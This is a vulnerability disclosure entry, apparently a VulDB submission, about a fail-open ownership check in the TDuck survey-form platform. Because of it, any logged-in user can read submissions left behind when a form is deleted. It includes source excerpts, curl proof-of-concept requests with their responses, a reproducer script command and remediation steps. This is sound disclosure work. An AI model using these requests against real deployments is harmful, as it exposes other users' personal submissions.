| Titolo | Github tduck-survey-form 4.0-5.3 broken access controll |
|---|
| Descrizione |
# TDuck Form Platform: "Orphaned" Form Submissions Readable by Any User After the Form Is Deleted (`GET /user/form/data/details/{dataId}`)
## Summary
**Title:** The ownership-check utility of TDuckCloud `tduck-survey-form` silently passes when the form record no longer exists, and hard-deleting a form does not cascade-delete its submissions — as a result any authenticated user can read the full content of "orphaned" submissions left behind by deleted forms.
`GET /user/form/data/details/{dataId}` does call `FormAuthUtils.hasPermission(formKey)` in its service layer and normally rejects non-owners. However, `hasPermission` **silently returns (fail-open) when the form record does not exist** (`FormAuthUtils.java:30-34`), while the hard-delete endpoints (`POST /user/form/recycle/delete`, `POST /user/form/delete`) **only remove the form row, its theme and settings — never the `fm_user_form_data` submission rows**. Therefore, after a victim deletes a form, the leftover submissions (whose formKey points to a non-existent form) pass the ownership check for every logged-in user. Verified: reading a submission of a still-existing form as a non-owner is rejected ("无表单权限"), while reading the orphaned submission of the deleted form returns the complete data (`code=200`).
## Affected Product / Versions
| Item | Value |
| ------------------ | ------------------------------------------------------------ |
| Product | TDuckCloud `tduck-survey-form` (open-source Java Spring Boot online form platform) |
| Affected component | `tduck-form` module `UserFormDataServiceImpl.getFormDataDetails` / `FormAuthUtils.hasPermission`; `tduck-api` module `UserFormController` (deletion logic) |
| Affected versions | All releases containing this defect. Verified against official image `tduckcloud/tduck-platform` (build 2026-06-10) and source baseline commit `43ffa9c9` (tag `Tduckx-13`); the same vulnerable code exists in the `v5.0` and `v4.0` source tags. |
| Test environment | `http://localhost:8999`; attacker and victim are both ordinary users (`admin=false`) |
## Root Cause (source evidence)
`tduck-form/.../form/util/FormAuthUtils.java:25-39`:
```java
public void hasPermission(String formKey) {
if (SecurityUtils.isAdmin(SecurityUtils.getUserId())) {
return;
}
UserFormService userFormService = SpringContextUtils.getBean(UserFormService.class);
UserFormEntity userFormEntity = userFormService.getByKey(formKey);
if (ObjectUtil.isNull(userFormEntity)) {
return; // ← flaw: form missing => check passes (fail-open)
}
if (!userFormEntity.getUserId().equals(SecurityUtils.getUserId())) {
throw new BaseException("无表单权限");
}
}
```
`tduck-api/.../web/controller/UserFormController.java:451-459` (hard delete, no cascade):
```java
@PostMapping("/user/form/recycle/delete")
public Result deleteRecycleForm(@RequestAttribute Long userId, @RequestBody UserFormEntity FormEntity) {
boolean remove = formService.remove(Wrappers.<UserFormEntity>lambdaQuery()
.eq(UserFormEntity::getUserId, userId)
.eq(UserFormEntity::getFormKey, FormEntity.getFormKey())); // form row only
if (remove) {
userFormThemeService.remove(...);
userFormSettingService.deleteAllSetting(FormEntity.getFormKey());
// ← fm_user_form_data rows are NOT deleted
}
return Result.success(remove);
}
```
`tduck-form/.../service/impl/UserFormDataServiceImpl.java:169-186`:
```java
public Result getFormDataDetails(String dataId) {
UserFormDataEntity dataEntity = this.getById(dataId); // row still exists
if (ObjectUtil.isNull(dataEntity)) { return Result.failed("数据不存在"); }
FormAuthUtils.hasPermission(dataEntity.getFormKey()); // form deleted -> silently passes
... // returns the full submission (formFields + originalData + system fields)
}
```
- The deletion flow is "soft delete (recycle bin) → permanent delete"; both only remove the form row — submission rows and ES documents remain.
- The fail-open defect affects every endpoint that relies on `FormAuthUtils.hasPermission` (`query`, `delete/{formKey}`, etc.); in practice the exploitable objects are the leftover submissions/attachments.
## CWE
- CWE-639: Authorization Bypass Through User-Controlled Key (IDOR read)
- CWE-285: Improper Authorization — Fail-Open (check passes when the form is missing)
- CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer (deleting a form does not purge its submissions)
## Attack Vector & Preconditions
- Attacker: any authenticated user (ordinary account suffices).
- Precondition: the target orphaned submission's `dataId` (obtainable from historical exports, webhook event logs, or in combination with other issues; combined with TDUCK-02 the data can be read and rewritten).
- The victim does not need to be online or to interact; form deletion is a normal business operation the attacker cannot prevent.
## PoC (verified evidence)
> Environment `http://localhost:8999`; auth header `token: <JWT>`.
> Victim `[email protected]` created two published forms: A (kept) `formKey=WJ39aouB` and B (to delete) `formKey=S1NQEQkr`; one submission each: A→`dataId=211742`, B→`dataId=211743`. The victim then moved B to the recycle bin and permanently deleted it (form row gone, submission row remains). Attacker `[email protected]` (id=1002, `admin=false`).
### 1) Control group: attacker reads a submission of a still-existing form (must be rejected)
```bash
curl -s "http://localhost:8999/user/form/data/details/211742" -H "token: <attacker-token>"
```
Actual response (`code=500`, rejected):
```json
{"code": 500, "msg": "无表单权限", "data": null}
```
### 2) Attack group: attacker reads the orphaned submission of the deleted form (unauthorized read succeeds)
```bash
curl -s "http://localhost:8999/user/form/data/details/211743" -H "token: <attacker-token>"
```
Actual response (`code=200`, full submission returned):
```json
{
"code": 200,
"msg": null,
"data": {
"formData": {
"f1": "DELETED-FORM-SECRET-DATA",
"formKey": "S1NQEQkr",
"serialNumber": 1,
"submitRequestIp": "172.20.0.1",
"submitAddress": "内网IP",
"id": 211743,
"createTime": "2026-08-30 22:28:15",
"updateTime": "2026-08-30 22:28:15"
},
"formFields": [ { "value": "f1", "label": "F1", "type": "TEXTAREA", "scheme": null } ]
}
}
```
→ Database check confirms: the form B row is gone from `fm_user_form` (only A remains), while both submission rows 211742/211743 remain in `fm_user_form_data`. Control rejected, attack group succeeded — vulnerability confirmed.
## Impact
1. **Confidentiality (Medium–High):** historical submissions of deleted forms (frequently containing personal/sensitive data) can be read by any logged-in user — breaking the privacy expectation of "deleting the form".
2. **The defect surface is wider than `details`:** every endpoint relying on `FormAuthUtils.hasPermission` passes once the form is deleted; residual objects are mainly submissions/attachments.
3. **Chaining:** combined with TDUCK-02 (`update` without ownership check) orphaned submissions can be both read and rewritten; combined with TDUCK-01 (webhook event logs) `dataId` values can be harvested in bulk.
## Remediation
1. In `FormAuthUtils.hasPermission`, **throw "no permission / resource not found" when the form does not exist** instead of silently returning (fail-closed).
2. When deleting a form, cascade-clean `fm_user_form_data` (and ES documents, attachments), or soft-delete the submissions.
3. In `getFormDataDetails`, reject when the data exists but its form is missing.
## Reproducer Script
A dependency-free Python 3 reproducer for this issue is provided as `tduck-poc/poc_form_data_details_orphan.py` and has been executed successfully against the same target and ordinary (non-admin) accounts described above:
```bash
python3 poc_form_data_details_orphan.py --victim-account [email protected] --victim-password xxx --attacker-account [email protected] --attacker-password xxx
```
> The script defaults to `http://127.0.0.1:8999` with the `token` auth header (this deployment's `platform.jwt.header`); replace the test accounts/address before submission, consistent with the PoC in the body.
## References & Disclosure
- Affected source: `tduck-form/.../form/util/FormAuthUtils.java:25-39`; `tduck-api/.../web/controller/UserFormController.java:451-459` (and the `delete` path near `:196`); `tduck-form/.../service/impl/UserFormDataServiceImpl.java:169-186`
- Verified 2026-08-30 in an authorized test environment; coordinated disclosure through the vendor's official channel (TDuckCloud open-source repository issues) is recommended.
> Disclaimer: this report is solely based on security testing performed in an authorized environment; replace test addresses/accounts before submissi |
|---|
| Fonte | ⚠️ https://github.com/LinYuanyi1/cve-request-poc/blob/master/tduck/poc_form_data_details_orphan.py |
|---|
| Utente | lincoke (UID 100021) |
|---|
| Sottomissione | 07/09/2026 10:07 (1 mese fa) |
|---|
| Moderazione | 11/10/2026 11:46 (1 month later) |
|---|
| Stato | Duplicato |
|---|
| Voce VulDB | 410427 [TDuckCloud TDuck Survey Form 6.0 Permission Check poc_form_data_details_orphan.py FormAuthUtils.hasPermission dataId escalationi di privilegi] |
|---|
| Punti | 0 |
|---|